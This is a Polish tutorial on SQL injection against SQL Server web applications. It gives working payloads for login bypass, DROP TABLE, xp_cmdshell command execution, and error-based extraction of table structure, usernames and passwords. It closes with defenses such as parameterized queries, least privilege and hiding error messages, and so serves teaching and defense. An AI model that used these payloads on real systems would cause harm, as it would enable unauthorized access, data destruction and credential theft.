background image

Atak SQL Injection

Na serwery/aplikacje WWW oparte o SQL Server

Autor:  Maciej Buczek

1

background image

Spis treści

1.Wprowadzenie.................................................................................................. 3

2.Wykrywanie stron podatnych na SQL Injection...........................................3

3.Podstawy ataku.................................................................................................4

4.Przykłady włamań na serwery........................................................................ 5

a) Pominięcie autoryzacji........................................................................................................5

b) Wykorzystanie uprawnień dla dostępu do bazy danych.....................................................6

c) Pozyskiwanie informacji używając komunikatów o błędach............................................. 7

5.Zabezpieczenia................................................................................................10

Bibliografia:....................................................................................................... 13

2

background image

1. Wprowadzenie.

Każda poważna aplikacja posiada trójwarstwową architekturę: GUI-API-DataLayer. 

Warstwę   danych   (DataLayer)   stanowi   w   95   %   baza   danych.   Przechowuje   ona   dane 
użytkowników,   uprawnienia,   informacje   finansowe   i   biznesowe,   oraz   wiele   innych 
ważnych danych. Dlatego tak ważne jest, aby dane były bezpieczne. 
Pewnie   niewielu   z   Was   wie,   co   oznacza   termin   SQL   Injection.   Jest   to   atak,   którego 
źródłem   są   niewalidowane   dane   wejściowe   użytkownika   aplikacji,   które   mogą   być 
pobrane   przez   system   np.   z   formularza   WWW.   Celem   ataku   SQL   Injection   jest 
wydobycie poufnych informacji z bazy danych i zakłócenie jej prawidłowego działania

Mimo tego że jest stosunkowo łatwo zabezpieczyć się przed atakami tego typu istnieje 
bardzo wiele serwisów podatnych na takie zagrożenie.

SQL Injection jest atakiem wymaga tylko otwartego portu 80 i aplikacji webowej opartej 
o technologie PHP, JSP, ASP, CGI itd.

Atak polega na wstrzyknięciu zapytania/polecenia SQL poprzez formę na stronie www.
Wiele   aplikacji   webowych   pobiera   dane   od   użytkownika   i   wykorzystuje   je   do 
formułowania zapytań do bazy danych. Typowym przykładem jest pobieranie loginu i 
hasła   od   użytkownika   i   autoryzacja   danej   osoby.   Użytkownik   dostaje   w   ten   sposób 
konkretne   przywileje   i   poszerzony   dostęp   do   bazy   danych.   Jest   możliwe   aby   tak 
spreparować login i/lub hasło, aby zmienić sens zapytania i uzyskać inny niezamierzony 
przez projektanta aplikacji efekt.

2. Wykrywanie stron podatnych na SQL Injection.

Co będzie potrzebne?

Wystarczy tylko przeglądarka internetowa.

W celu przeprowadzenia ataku wyszukujemy stronę, która pozwala na wprowadzanie 

danych przez użytkownika. Strona HTMLowa często używa metody POST do przesyłania 
danych do innej strony skojarzonej z danym skryptem (PHP, ASP, JSP itd.) i wykonującej 
dane zadanie pobrania i obróbki danych z bazy danych (np. MySql).

Dane przesyłane metodą POST nie są widoczne w URL dlatego aby wyszukać stronę 
używającej   metody   POST   można   zwyczajnie   przeglądać   kod   źródłowy   i   wyszukiwać 
tagów <FORM> 

Np.:

<FORM action=Search/search.asp method=post>
<input type=hidden name=A value=C>
</FORM>

Jeżeli nie możesz znaleźć stron przyjmujących dane, powinieneś poszukać stron PHP, 
JSP, ASP ,CGI, Szczególną uwagę należy zwrócić na adresy stron typu:

3

background image

http://hakowana.strona/index.php?id=10 

Jak sprawdzić czy strona jest podatna na ataki SQL Injection?

Wypełnij pola login albo hasło wartościami:

Login : hi’ or 1=1--
Hasło: hi’ or 1=1--

Można także podać te ciągi bezpośrednio do adresu URL:

http://duck/index.asp?id=hi' or 1=1--

Jeśli skrypt jest niezabezpieczony to zalogujemy się na stronę bez podawania loginu i 
hasła.

3. Podstawy ataku.

Typowe zapytanie SQL wygląda następująco:

select id, forename, surname from authors 

To zapytanie wyciągnie z bazy kolumne ‘id’, ‘forename’, ‘surname’ z tabeli ‘authors’ 
zwracając wszystkie wiersze.
Zbiór wyników może być ograniczony poprzez podanie warunku:

SELECT id, forename, surname FROM authors WHERE forename = 'john' AND surname 
= 'smith' 

Trzeba zauważyć, że ciągi znakowe ‘john’ i ‘smith’ są ograniczone poprzez znak „  ’ 
” (pojedynczy cudzysłów). Zakładając, że te wartości zostały podane przez użytkownika 
aplikacji,   atakujący   mógłby   spowodować   nieoczekiwane   zachowanie   aplikacji 
wprowadzając dane:

name : Jo’hn
surname: Smith

Zapytanie będzie miało postać:

SELECT id, forename, surname FROM authors WHERE forename = 'jo'hn' AND 
surname = 'smith' 

Kiedy  system  będzie  próbował   wykonać  to  zapytanie,  zostanie  zwrócony  następujący 
komunikat o błędzie:

4

background image

Server: Msg 170, Level 15, State 1, Line 1 
Line 1: Incorrect syntax near 'hn'

Powodem takiego zachowanie jest fakt że pojedynczy cudzysłów w podawanym polu 
kończy ciąg znakowy. Następnie system próbuje wykonać polecenie ‘hn nie należące do 
języka SQL i generuje błąd.

Istnieje także metoda pomijająca ograniczenia wynikające z zastosowanie warunku 

„WHERE”. Mianowicie, zastosowanie znacznika “--“,który w zapytaniu SQL jest przez 
SQL   Server   2000   („#”   w   MySql)   interpretowany   jako   polecenie   ignorowania 
wszystkiego, co po takim znaczniku występuje.

Dlatego w zapytaniu:

SELECT  name, surname, book_title FROM  authors WHERE surname=’<user input>’ 
AND book_title=’<user input>’

wprowadzając dane
surname: Sienkiewicz’--
book_title: Quo Vadis

Do bazy zostanie wysłane przez aplikację zapytanie:

SELECT  name, surname, book_title FROM  authors WHERE surname=’Sienkiewicz’

--’ 

AND book_title=’Quo Vadis’ 

Wyświetlające wszystkie pozycje których autorem jest Sienkiewicz.

4. Przykłady włamań na serwery.

a) Pominięcie autoryzacji.

Proces autoryzacji może przebiegać w następujący sposób:
SELECT * FROM users WHERE login=’<user input>’ and password=’<user input>’
Gdy powyższe  zapytanie zwróci  jeden wiersz  to znaczy, że  istnieje  dokładnie jeden 
użytkownik o danym loginie i haśle. W związku autoryzacja użytkownika powiodła się i 
możemy   dopuścić   go   do   kolejnych   podstron   naszej   strony   lub     udostępnić   nowe 
funkcjonalności naszej aplikacji webowej.
Na pierwszy rzut oka wszystko działa poprawnie. Jeśli przykładowo istnieje użytkownik 
login=Jacek, password=ala  i wprowadzi on swoje dane w formatce logowania, klauzula 
WHERE w zapytaniu autoryzacji będzie miała postać:

“WHERE login=‘Jacek’ AND password=’ala’”;

5

background image

Ale co się stanie, jeśli użytkownik wprowadzi niepoprawne dane?
Pierwszy atak, zakłada, że użytkownik wprowadzi dane następujące:
 login=’ OR 1=1 -- 
password=’’
Wówczas klauzula WHERE w zapytaniu autoryzacji przyjmie postać:

“WHERE login= ‘’ OR 1=1

 --’ AND password=’’”;

Co się dzieje z zapytaniem?

Ponieważ w klauzuli WHERE występuje alternatywa, której człon  ‘1=1’  jest 

zawsze prawdziwy, oznacza to, że zapytanie zwróci wszystkie rekordy z tablicy „users” 
(!). Zatem użytkownikowi udało się wprowadzić błędne dane (bez hasła), które przez 
aplikację zostały zinterpretowane jako poprawne.
Na   szczęście,   jeżeli   obiekt   „users”   posiada   więcej   niż   jeden   rekord,   nie   zostanie 
wyświetlona lista transakcji dla użytkownika (warunek pomyślnej autoryzacji). Jest to 
pewne zabezpieczenie, ale czy wystarczające?

Drugi atak, zakłada, że atakujący jest bardziej przebiegły i w formatce logowania 

może wpisać: 

login=’ OR ID = 1 –
password=’’

 Wykonanie tego zapytanie spowoduje, zwrócenie dokładnie jednego rekordu w obiekcie 
„users”(o   ile   użytkownik   z   ID=1   istnieje),   a   więc   pociągnie   za   sobą   pomyślną 
autoryzację   użytkownika   o   identyfikatorze   1.   Jedynym   ograniczeniem,   przy   takim 
scenariuszu   działania   jest   to,   że   atakujący   nie   zna   nazw   kolumn   tablicy   „users”,   w 
szczególności   kolumny  „ID”   .   Znalezienie   nazwy   kolumn,   może   jednak   nastąpić 
najłatwiejszą metodą poszukiwania – metodą prób i błędów. Dodatkowo, niektóre serwisy 
internetowe wyświetlają całkowity kod błędu bazy danych, w którym są informacje, w 
jakiej   tabeli   i   w   wyniku   operacji,   na   jakiej   kolumnie   wystąpił   wyjątek.   Niektórzy 
programiści nie myślą o konsekwencji, dostania się takiej informacji w niepowołane ręce.

Trzeci   atak,   pokazuje   jak   łatwo   można   usunąć   tabelę   „users”   z   całą   jej   zawartością. 
Wystarczy w pole login wpisać:
login:’; DROP TABLE users;

b) Wykorzystanie uprawnień dla dostępu do bazy danych

Niektóre aplikacje bazodanowe używają kont administracyjnych, do zarządzania 

aplikacją   a   głównie   bazą   danych   z   najwyższego   poziomu   administratora.   Atakujący, 
któremu   uda   się   podszyć   pod   administratora,   ma   nieograniczone   możliwości 
manipulowania   danymi.   Poniższy   przykład   ataku   zakłada,   że   aplikacja   została 
uruchomiona z prawami dla sysadmindb_dbowner lub db_dlladmin.

6

background image

Pierwsza próba logowanie polega na stworzeniu tabeli, przechowującej dane. Pole hasło 
pozostaje puste, w polu login wpisujemy:

login: ‘ OR ID=1; CREATE TABLE mojaTabela( dysk varchar(31), pojemnosc int);

      INSERT INTO mojaTabela EXEC master..xp_fixeddrives;--
Powyższa komenda powoduje stworzenie tabeli do przechowania nazw dysków serwera z 
ich pojemnością w MB. W komendzie autoryzacyjnej zwróci jeden rekord użytkownika o 
identyfikatorze   1   i   spowoduje   wywołanie   komendy   CREATE,   gdzie   stworzy   tabelę 
mojaTabela. Teraz wystarczy wypełnić tabelę danymi, postępując analogicznie:

login: ‘ OR ID=1; SELECT * FROM mojaTabela;--.

W tym momencie po zalogowaniu do usługi zobaczymy listę dysków z ich pojemnością w 
MB. Kolejna komenda pozwoli zobaczyć, co znajduje się na jednym z dysków z listy 
(załóżmy, że na liście jest dysk c). Należy ponownie spróbować się zalogować i wpisać:

login:’; CREATE TABLE mojaTabela2(dane varchar(127) NULL); 

      INSERT INTO mojaTabela2 EXEC master..xp_cmdshell ‘dir c:\’;--
Przykład pokazuje, że ważne jest, aby aplikacja była uruchamiana z najmniejszą ilością 
przywilejów, niezbędnych do jej poprawnego działania. Zalecam, aby podczas instalacji 
SQL Server 2000, umożliwić dostęp tylko do określonych zasobów. Wówczas wywołanie 
xp_cmdshell nic poważnego zrobić nie powinno.

c) Pozyskiwanie informacji używając komunikatów o błędach.

Aby dowolnie manipulować danymi w bazie danych, atakujący musi być w stanie 

określić   strukturę   konkretnych   tabel   w   bazie.   Na   przykład   tabela   ‘users’   może   być 
stworzona następującym poleceniem SQL`owym:

create table users( id int, 
username varchar(255), 
password varchar(255), 
privs int 

Załóżmy, że do tej tabeli wstawiono użytkowników:

insert into users values( 0, 'admin', 'r00tr0x!', 0xffff ) 
insert into users values( 0, 'guest', 'guest', 0x0000 ) 
insert into users values( 0, 'chris', 'password', 0x00ff ) 
insert into users values( 0, 'fred', 'sesame', 0x00ff ) 

Powiedzmy,   że   haker   chce   wstawić   do   tabeli   wiersz   ze   swoim   kontem.   Nie   znając 
struktury tabeli jest skazany na niepowodzenie. Nawet jeśli mu się poszczęści istnieje 
prawdopodobieństwo,   że   błędnie   rozszyfruje   znaczenie   kolumn   i   nada   sobie   niskie 
przywileje (kolumna ‘privis’).

7

background image

Na   szczęście   dla   hakera   domyślnym   zachowanie   większości   serwerów   WWW   (ASP, 
PHP) komunikaty o błędach są zwracane przez aplikację. To właśnie z tych komunikatów 
haker jest w stanie określić strukturę tabeli.

Najpierw atakujący chce ustalić nazwy tabel, na których zapytanie w formie operuje oraz 
nazwy kolumna w tych tabelach. Aby to zrobić, haker używa polecenia ‘having’ w zdaniu 
‘select’:

Username: ‘ having 1=1 –

Wykonanie zapytanie przez aplikację z takimi danymi powoduje następujący błąd:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14' 
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 

'users.id'

 is invalid in the 

select list because it is not contained in an aggregate function and there is no GROUP BY 
clause. 

Z tego komunikaty haker wyciąga nazwę tabeli z którą łączy się aplikacja (‘users’) i 
nazwę pierwszej kolumny tabeli (‘id’). Następnie haker może kontynuować w podobny 
sposób wykluczając kolejne kolumny powodujące błąd poprzez wykonanie grupowania 
po nich:

Username: ' group by users.id having 1=1—

Błąd:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14' 
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 

'users.username'

 is invalid 

in the select list because it is not contained in either an aggregate function or the GROUP 
BY clause.
 

Haker Dowiaduje się o nazwie drugiej kolumny (‘username’). Ostatecznie wstrzykuje:

Username: ' group by users.id, users.username, users.password, users.privs having 1=1—

Polecenie to nie powoduje błędu i jest równoważne poleceniu: 

select * from users where username = '' 

Tak więc atakujący teraz już wie że aplikacja odnosi się tylko do jednej tabeli składającej 
się z kolumn id, username, password, privs (w takiej kolejności).

Następnym krokiem jest określenie typów poszczególnych kolumn. Można to osiągnąć 
poprzez wykorzystanie komunikacie o błędzie powodowanym przez konwersję typów:

Username: ' union select sum(username) from users-- 

Haker wykorzystuje fakt że SQL Server podejmuje próbę zastosowanie polecenie ‘sum’ 
zanim   sprawdzi   czy   ilość   pól   w   dwóch   zestawach   wierszy   jest   jednakowa.   Próba 
obliczenia sumy tekstowego pola powoduje następujący błąd:

8

background image

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate 
operation cannot take a 

varchar

 data type as an argument. 

.. który mówi nam o tym, że kolumna ‘umername’ jest typu ‘varchar’. Z drugiej strony 
próbując  obliczyć sum() z pola typu numerycznego, otrzymamy komunikat o różnicy 
ilości w zbiorach wierszy po obu stronach polecenia ‘UNION’:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14' 
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement 
containing a UNION operator must have an equal number of expressions in their target 
lists. 

Używając tej techniki możemy określić typ każdej kolumny w naszej tabeli, tym samym 
haker uzyskuje możliwość sformułowania poprawnego polecenia wstawiającego dane do 
tabeli (‘INSERT’):

Username: '; insert into users values( 666, 'attacker', 'foobar', 0xffff )-- 

Komunikaty o błędach pozwalają także na pozyskanie różnych innych niebezpiecznych 
informacji.

Przykładem   może   być   własność   SQL   Servera   do   podawania   w   błędzie   informacji 
odnoszących się do konwersji typów. Mianowicie jeżeli próbujemy konwertować string 
do integer wtedy cała zawartość Stinga jest wypisywana w błędzie np.:
version of SQL server, and the server operating system it is running on: 

Username: ' union select @@version,1,1,1—

Błąd:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the 
nvarchar value 

'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 

Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition on Windows NT 5.0 
(Build 2195: Service Pack 2) '

 to a column of data type int. 

Ten przykład próbuje przekonwertować wbudowaną zmienną ‘@@version’ do interiera 
ponieważ   taki   jest   typ   pierwszej   kolumny   w   tabeli.   W   ten   sposób   haker   otrzymuje 
informacje o wersji SQL Servera i o systenie operacyjnym na jakim jest on uruchamiany.

Ta technika może być użyta aby odczytać każdą wartość w dowolnej tabeli bazy danych. 
Ponieważ   atakujący   jest   przeważnie   zainteresowany   w   polach   typu   ‘username’   i 
‘paswword’ z pewnością zastosuje poniższe zapytanie:

Username: ' union select min(username),1,1,1 from users where username > 'a'—

9

background image

To   wybierze   minimalną   leksykalnie   nazwę   użytkownika,   która   jest   większa   od   ‘a’   i 
spróbuje przekonwertować ją do integera:

Błąd:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting 

the varchar 

value 'admin' 

to a column of data type int. 

Tak więc haker wie, że istnieje konto o nazwie ‘admin’. Teraz jest w stanie iterować po 
wierszach   w   tabeli   porównując   wyszukiwaną   nazwę   użytkownika   do   znalezionej 
wcześniej np.:

Username: ' union select min(username),1,1,1 from users where username > 'admin'—

Błąd:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error 

converting the varchar 

value 'chris'

 to a column of data type int. 

Kiedy już haker określi nazwy użytkowników może zająć się zdobywaniem haseł:

Username: ' union select password,1,1,1 from users where username = 'admin'—

Błąd:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting 

the varchar 

value 'r00tr0x!'

 to a column of data type int. 

Te przykłady zaledwie pokazują namiastkę tego jak elastyczna jest ta technika. Powinno 
to uzmysłowić każdemu jakim zagrożeniem jest możliwość przeglądania przez hakera 
informacji o błędach bazy danych. Dzięki takim informacją jego praca staje się dużo 
łatwiejsza.

5. Zabezpieczenia.

Przykład jak się nie powinno pisać skryptu aplikacji webowej:
(Skrypt PHP)

$zapytanie="SELECT * from USERS WHERE login = '".$_POST["kontrolka_login"]."' AND 
password='".$_POST["kontrolka_password"]."';";

10

background image

$wynik=mysql_query($zapytanie,$polaczenie);

if(mysql_num_rows($wynik)!=1)  $error="Błędna logowanie!;

else{

OK.!

}

Typowy błąd – wiara w dobre intencje użytkownika.
Nie ma żadnej kontroli tego co użytkownik/haker nam wprowadzi do aplikacji.

Istnieje wiele metod walki z SQL Injection. Najważniejsze i najbardziej znane opiszę 

poniżej.

   Walidacja danych wprowadzanych przez użytkownika

Jest   to   najprostszy   sposób   walki   z   SQL   Injection,   jednak   nie   zawsze 

wystarczający,   a   niekiedy   niemożliwy   do   zastosowania.   Polega   na   sprawdzaniu 
poprawności   składniowej   danych   wprowadzanych   przez   użytkownika.   Możliwe   jest 
rozwiązanie poprzez stosowanie walidujących skryptów np. JavaScript po stronie klienta, 
jednak po stronie serwera, trzeba powtórzyć walidację.
Walidację można przeprowadzić przy pomocy wyrażeń regularnych np.:
Username: /^[A-Za-z0-9]{1,32}$/g  (maksymalnie 32 znaki alfanumeryczne)

   Ograniczenie długości wprowadzanych danych

Aby uniemożliwić „wstrzykiwanie” do bazy danych niebezpiecznego kodu, można 

ograniczyć   możliwą   do   wprowadzenia   długość   danych   dla   kontrolek.   Często   jednak, 
kontrolki muszą pozwolić na wprowadzanie wielu znaków, np 255. W takim przypadku i 
takie rozwiązanie staje się nieefektywne.

 Obróbka danych użytkownika w skrypcie.

Zamiana niebezpiecznych znaków mogących zmienić znaczenie zapytania SQL na 
nieszkodliwe np.:
” na „’’
W stałeś łańcuchowej SQL dwa cudzysłowy są traktowane jako reprezentacja 
znaku cudzysłowu, a nie jako zakończenie łańcucha.
%” na „[%]
_” na „[_]
Ostatnie dwa przykłady dotyczą ochrony klauzuli LIKE.

Parametryzowane wywołanie zapytań SQL

11

background image

SQL  Server i wiele technologi ( .NET  Framework, Java itd.), daje  możliwość 

wywoływania   zapytań   na   bazie   danych,   które   nie   pobierają   bezpośrednio   danych 
wpisanych do kontrolek jako parametrów, tylko jawnie wyspecyfikowane parametry.

       Baza wie jakie będzie zapytanie zanim podamy konkretne parametry.

Takie   rozwiązanie   eliminuje   możliwość   „wstrzyknięcia”   niebezpiecznego   kodu   do 
aplikacji.   Poniższy   kod   pokazuje.   w   jaki   sposób   sparametryzować   komendę 
wykorzystywaną podczas procesu autoryzacji użytkowników usługi.
(przykład VS.NET C#)
string commandText = "SELECT COUNT(*) FROM Users "+" WHERE 
UserName=@userName AND UserPass=@userPass";

SqlCommand cmd = new SqlCommand(commandText, conn);
cmd.Parameters.Add("@userPass ", tbUserPass.ToString());
cmd.Parameters.Add("@userName ", tbUserName.ToString());

W przypadku wykorzystania zbiory Parameters, jakiekolwiek dane wprowadzone przez 
użytkownika będą traktowane jako wartość stała.

Wykorzystywanie procedur składowych bazy

Najbardziej elegancką i bezpieczną metodą wywoływania zapytań na bazie danych jest 

napisanie skryptów bazy danych i wywołanie ich w kodzie aplikacji. Rozwiązanie to jest 
równie   poprawne   jak   parametryzowane   wywoływanie   zapytań   SQL   a   dużo   bardziej 
czytelne i łatwiejsze w zarządzaniu.

Ograniczenie praw dostępu do bazy danych

Aby   uniemożliwić   użytkownikowi   korzystanie   z   wbudowanych   komend   np. 

xp_cmdshell należy uruchomić bazę danych z możliwie najmniejszą ilością uprawnień.

Ograniczenie informacji o błędzie prezentowanej użytkownikowi 

Aby   użytkownik   nie   był   informowany   o   błędach   po   stronie   bazy   danych   należy 

ograniczyć wyświetlanie informacji o błędach/wyjątkach do minimum lub podawać tylko 
kod   błędu   a   w   jakichś   dodatkowych   zasobach   udostępnić   opisy   tych   kodów.   Takie 
rozwiązanie   ograniczy  możliwość   uzyskania   informacji  o   nazwach  tabel   lub   nazwach 
kolumn osobom trzecim.

12

background image

Bibliografia:

„Bezpieczny Kod. Tworzenie i zastosowanie” Michael Howard, David LeBlanc, 
edycja polska : Microsoft Press

„Tworzenie bezpiecznych aplikacji ASP.NET” Microsoft Press

www.spidynamics.com/whitepapers/WhitepaperSQLInjection.pdf

http://www.securiteam.com/securityreviews/5DP0N1P76E.html

http://www.codeguru.pl/article-515.aspx

http://www.ngssoftware.com/papers/advanced_sql_injection.pdf

13


Document Outline